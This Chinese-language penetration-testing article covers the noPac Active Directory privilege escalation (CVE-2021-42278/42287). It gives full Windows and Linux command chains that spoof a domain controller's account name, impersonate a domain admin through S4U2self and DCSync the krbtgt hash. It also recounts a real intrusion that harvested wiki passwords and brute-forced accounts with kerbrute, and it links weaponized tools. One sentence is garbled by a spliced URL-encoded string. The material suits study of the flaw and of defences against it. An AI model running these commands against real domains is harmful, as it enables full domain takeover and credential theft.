简介
用户可以创建一个机器账户,机器账户改名为dc,然后申请TGT,然后把自己改
名,然后DC在TGS_REQ时会找不到这个账户就会以自己的密钥加密TGS,然后就得到了一
个高权限的ST
机器账户改名为和dc机器账户一样,然后申请tgt,接着把自己改名,使得dc在tgs_rep时候找不到这账户,这时会用自己的密钥加密tgs ticket,然后就是得到了一个高权限st。
CVE-2021-42278
,机器账户的名字一般来说应该以$
结尾,但AD没有对域内机器账户名做验证CVE-2021-42287
,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP
阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket
,提供一个属于该账户的PAC
,然后我们就得到了一个高权限ST。
测试1
需要对属性`sAMAccountName` and `servicePrincipalName`,具有写权限。说到机器账户,就可以利用域内默认的MAQ特性,默认允许域账户创建10个机器账户,而创建者对于机器账户具有写权限,当然可以更改这两个属性。
查看MAQ是否有限制,查看LDAP中的ms-ds-machineaccountquota
属性即可。
- 创建一个机器账户,这在之前的文章都有所提及,使用impacket的
addcomputer.py
或是powermad
addcomputer.py
是利用SAMR协议
创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除 - 清除机器账户的
servicePrincipalName
属性 - 将机器账户的
sAMAccountName
,更改为DC的机器账户名字,注意后缀不带$ - 为机器账户请求TGT
- 将机器账户的
sAMAccountName
更改为其他名字,不与步骤3重复即可 - 通过S4U2self协议向DC请求ST
- DCsync
通过用户账户利用的话,需要对用户账户有**GenericAll**
的权限还有用户的凭据
实际上只操作sAMAccountName
属性,有GenericWrite
或是WriteProperty
,也可以达到相同效果
如果可以跨域创建机器账户或是有写权限的话,也可以利用此攻击进行跨域攻击。
windows
# 0. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 1. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 2. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 3. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 4. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 6. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
或是Windows下的武器化工具:https://github.com/cube0x0/noPac
linux
# 0. create a computer account
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
# 1. clear its SPNs
addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
# 2. rename the computer (computer -> DC)
renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
# 3. obtain a TGT
getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
# 4. reset the computer name
renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
# 5. obtain a service ticket with S4U2self by presenting the previous TGT
KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
# 6. DCSync by presenting the service ticket
KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'
测试2
测试账户为普通域账户
检测目标是否受到影响
Rubeus.exe asktgt /user:labs /password:abc123! /domain:ssosec.lab /dc:SSO DC.ssosec.lab /nopac /nowrap
在无pac时和有pac时票据大小明显不同:
尝试攻击(域用户默认可以新建机器账户): 新增机器帐号使用powermad
New‐MachineAccount ‐MachineAccount TestSPN ‐Domain ssosec.lab ‐DomainCont roller SSODC.ssosec.lab ‐Verbose
清除SPN信息:
Set‐DomainObject "CN=TestSPN,CN=Computers,DC=ssosec,DC=lab" ‐Clear 'servi ceprincipalname' ‐Verbose
更改账户名称:
Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "SSODC" ‐Attri bute samaccountname ‐Verbose
请求TGT:
Rubeus.exe asktgt /user:SSODC /password:abc123! /domain:ssosec.lab /dc:SS ODC.ssosec.lab /nowrap
更改回原属性:
Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "TestSPN" ‐Att ribute samaccountname ‐Verbose
请求票据:
Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:SSODC.ssosec.la b /self /altservice:LDAP/SSODC.ssosec.lab /ptt /ticket:[TGT]
即可DCsync
源码修改如下:https://github.com/GhostPack/Rubeus/pull/105/files
自动化如下:https://github.com/cube0x0/noPac
实战
获取了一个windows云桌面普通域管理员权限,云桌面的数据只进不出来,完全不出网
坑点1
首先创建一个机器账户,将samaccountname改名dc(假设域控主机名为DC%2C%E7%84%B6%E5%90%8E%E7%94%B3%E8%AF%B7tgt%2C%E7%84%B6%E5%90%8E%E5%86%8D%E4%BF%AE%E6%94%B9%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%E5%90%8D%E4%B8%BA%E5%85%B6%E4%BB%96%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E5%9C%A8TGS_REQ%E6%97%B6%E4%BC%9A%E6%89%BE%E4%B8%8D%E5%88%B0%E4%B9%8B%E5%89%8D%E5%90%8D%E4%B8%BAdc%E7%9A%84%E8%B4%A6%E6%88%B7%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E4%BC%9A%E6%90%9C%E7%B4%A2%E7%9B%B8%E5%90%8C%E4%BD%86%E5%9C%A8%E6%9C%80%E5%90%8E%E6%B7%BB%E5%8A%A0%E4%B8%80%E4%B8%AA#card=math&code=%29%2C%E7%84%B6%E5%90%8E%E7%94%B3%E8%AF%B7tgt%2C%E7%84%B6%E5%90%8E%E5%86%8D%E4%BF%AE%E6%94%B9%E6%9C%BA%E5%99%A8%E8%B4%A6%E6%88%B7%E5%90%8D%E4%B8%BA%E5%85%B6%E4%BB%96%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E5%9C%A8TGS_REQ%E6%97%B6%E4%BC%9A%E6%89%BE%E4%B8%8D%E5%88%B0%E4%B9%8B%E5%89%8D%E5%90%8D%E4%B8%BAdc%E7%9A%84%E8%B4%A6%E6%88%B7%2C%E7%84%B6%E5%90%8E%E5%9F%9F%E6%8E%A7%E4%BC%9A%E6%90%9C%E7%B4%A2%E7%9B%B8%E5%90%8C%E4%BD%86%E5%9C%A8%E6%9C%80%E5%90%8E%E6%B7%BB%E5%8A%A0%E4%B8%80%E4%B8%AA&id=EID4x)的这个用户DC$ ,并使用DC$的密钥来加密票据,此时会得到一张高权限ST
前提条件
- 能过添加机器用户
- 有一个域内普通用户
使⽤如下命令查询MAQ,发现值为0。MachineAccountQuota默认为10,值为0意味着普通⽤户⽆法创建机器账户,也就⽆法直接利⽤这个漏洞,当然这也是域加固的常⻅⽅法。
Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DSMachineAccountQuota
通过在云桌⾯进⾏信息收集,找到了公司Wiki,并且找到了⼀些默认初始账户名和密码,再通过这些密码⽤
kerbrute预认证进⾏爆破,再次获取⼀些⽤户密码。通过筛选这些⽤户存在的组,发现了⼀个特殊的组
joinadmin,这是⼀个⽤来加域的组。
也就是说,⽬前控制了⼀个可以⽤来加域的特殊⽤户,这时候即使MAQ为0,也可以添加机器⽤户,利⽤⽅式
和MAQ=10时⼀致。
坑点2
cube0x0的POC默认模拟的是域管administrator,但是如果域内不存在这个⽤户,ptt后dir会提示访问拒绝,通过 /IMPERSONATE domain-admin-user 选项,指定⽤户。
关于模拟⽤户这⼀点,可以参考Impacket的打法:
坑点3
由于当时环境受限,Impacket⽆法使⽤,所以⾸先考虑能不能Psexec,或者使⽤mimikatz来dcsync。实际上ptt后提示访问拒绝,dcsync也同样失败:
Psexec访问拒绝应该是票据转换问题,impacket会⾃动票据转换,但是Psexec不会,dcsync失败原因是缺少
LDAP票据。所以使⽤如下命令再次注⼊LDAP票据:
noPac.exe -domain xxx.com -user user -pass userpassword /dc dc.xxx.com /mAccount
demo124 /mPassword Password123! /service ldap /ptt
理解
攻击链和涉及漏洞
- 低权限域账户可以创建和修改机器账户
- 在AP_REP的时候(而非TGS_REP)在搜索不到用户的时候,去搜索机器用户,并在之后添加了$
- 域控允许委派攻击
攻击链路
- 清除机器SPN,并创建/更改机器名为域控机器名,并去除末尾**,机器名就更改为dc1
- 以dc1的机器账户和密码向域控发起Kerberos认证请求获取到TGT
- 删除dc1用户的机器名,并用步骤二获取到的TGT请求ldap管理员服务权限的ST
- 域控相似获取到解密TGT中的PAC,发现请求的是ldap管理员服务权限,并用ldap服务器管理员的HASH去加密ST
- 当拿着ST去请求LDAP管理员服务的时候,LDAP服务器管理员用自身HASH解密出PAC
- 通过PAC获取请求用户和被请求用户的相关信息,再判断用户是否有访问服务的权限
- 在判断过程中是去请求域控访问的。域控首先去数据库搜索请求方的相关信息,因为没有$,会首先被当成域成员信息去搜索,当搜索不到的时候,会去搜索机器账户信息,在搜索的时候末尾自动加了一个 $
- 这也导致域控得到的PAC消息为,域控机器想去请求ldap管理员服务,返回符合权限通过请求,这样只要请求域控,当然就获得域控的权限了
工具
https://github.com/WazeHell/sam-the-admin